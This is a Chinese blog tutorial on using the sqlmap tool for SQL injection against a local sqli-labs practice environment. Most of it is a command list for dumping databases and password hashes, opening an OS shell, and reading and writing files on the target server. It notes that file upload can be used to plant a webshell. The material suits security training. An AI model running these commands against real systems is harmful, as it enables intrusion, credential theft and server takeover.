sqlmap使用教程

百般思念 提交于 2019-12-31 02:34:02

前言

本文是介绍sqlmap在sql注入时的使用,由于本身sqlmap拥有的复杂的功能,想要把sqlmap全部介绍完成是非常困难的,但同样由于sqlmap拥有的复杂的功能,能给我们在渗透时提供极大的便利性,节省了时间成本。sqlmap的功能我在这里不会全部讲述,只会讲述一部分,但在日后的使用中我会将新使用的部分写出来,下面开始正文部分。

sqlmap使用

测试环境

1.kali一台(自带sqlmap工具)
2.windows 7 phpstudy (http主机)
如果有对sql注入不熟悉的可以看我前面一篇博客
https://blog.csdn.net/qq_40252049/article/details/103612674
下面开始

流程

确定网络连接
在这里插入图片描述
kali上成功连接到网站
http://localhost/sqlilab/sqlilab/Less-1/
进入kali中sqlmap输入
sqlmap -u “http://localhost/sqlilab/sqlilab/Less-1/?id=1”
结果如下图:
在这里插入图片描述
注意sqlmap其中有一点,sqlmap中会有一些交互式语句,会提醒你是否使用?如果想要全部选是输入下面命令
sqlmap -u “http://localhost/sqlilab/sqlilab/Less-1/?id=1” --batch
在这里插入图片描述
sqlmap -u “http://localhost/sqlilab/sqlilab/Less-1/?id=1” --dbs 爆数据库
在这里插入图片描述

sqlmap常用语句

下面的内容摘自
https://blog.csdn.net/qq_39101049/article/details/87995354

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba  #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles   #列出数据库所有管理员角色
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs     #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables  #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns  #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"-tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell  #执行--os-shell命令
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms=mysql     #指定其数据库为mysql
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080"    #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入

通过上面的语句我们可以拿到我们想要的数据
sqlmap除了常规的爆数据之外还有其他用法下面介绍sqlmap在sql注入外的用法
下面介绍
我在当前用户的权限下进行文件读取
sqlmap -u “http://192.168.100.132/sqli/Less-1/?id=1” --file-read “c:/sql.txt”
在这里插入图片描述

当数据库为Mysql、Postgre SQL或者Sql Server,并且当前用户有权限使用特定的函数时,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
所以利用上传文件,我们可以上传一句话木马或者上传shell上去。
sqlmap -u “http://192.168.100.132/sqli/Less-1/?id=1” --file-write test.txt --file-dest “e:/sql.txt” #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为sql.txt
当数据库为Mysql、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
sqlmap -u “http://192.168.100.132/sqli/Less-1/?id=1” --file-read “c:/sql.txt” #读取目标服务器C盘下的sql.txt文件

在当前用户下如何提权?

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!